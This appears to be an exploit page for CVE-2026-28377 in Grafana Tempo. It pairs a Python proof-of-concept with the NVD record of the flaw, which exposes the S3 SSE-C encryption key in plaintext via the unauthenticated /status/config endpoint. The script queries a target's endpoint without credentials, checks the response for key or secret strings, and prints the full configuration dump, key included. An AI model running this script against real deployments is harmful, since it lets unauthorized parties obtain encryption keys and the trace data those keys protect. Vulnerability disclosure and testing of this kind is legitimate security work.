CVE-2026-28377

import requests # Target URL of the vulnerable Grafana Tempo instance target_url = "http://target-grafana-tempo:3100/status/config" def check_poc(): try: # Send a GET request to the exposed endpoint # No authentication required based on CVE details response = requests.get(target_url, timeout=10) if response.status_code == 200: print("[+] Endpoint is accessible.") config_data = response.text # Check if S3 SSE-C key is exposed in the response # The key might be under fields like 's3.encryption_key' or similar if "s3" in config_data.lower() and ("key" in config_data.lower() or "secret" in config_data.lower()): print("[+] Potential S3 SSE-C Key found in response!") print("[+] Configuration Dump:") print(config_data) return True else: print("[-] S3 Key not found in the response output.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") return False if __name__ == "__main__": check_poc()

{"cve": {"id": "CVE-2026-28377", "sourceIdentifier": "[email protected]", "published": "2026-03-26T22:16:28.460", "lastModified": "2026-03-31T19:00:15.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in Grafana Tempo exposes the S3 SSE-C encryption key in plaintext through the /status/config endpoint, potentially allowing unauthorized users to obtain the key used to encrypt trace data stored in S3.\n\nThanks to william_goodfellow for reporting this vulnerability."}, {"lang": "es", "value": "Una vulnerabilidad en Grafana Tempo expone la clave de cifrado S3 SSE-C en texto plano a través del endpoint /status/config, lo que podría permitir a usuarios no autorizados obtener la clave utilizada para cifrar los datos de traza almacenados en S3.\n\nGracias a william_goodfellow por informar sobre esta vulnerabilidad."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-326"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:grafana:tempo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.10.3", "matchCriteriaId": "B1FEA69C-8014-4D65-AFA0-5C44DF250663"}]}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-28377", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}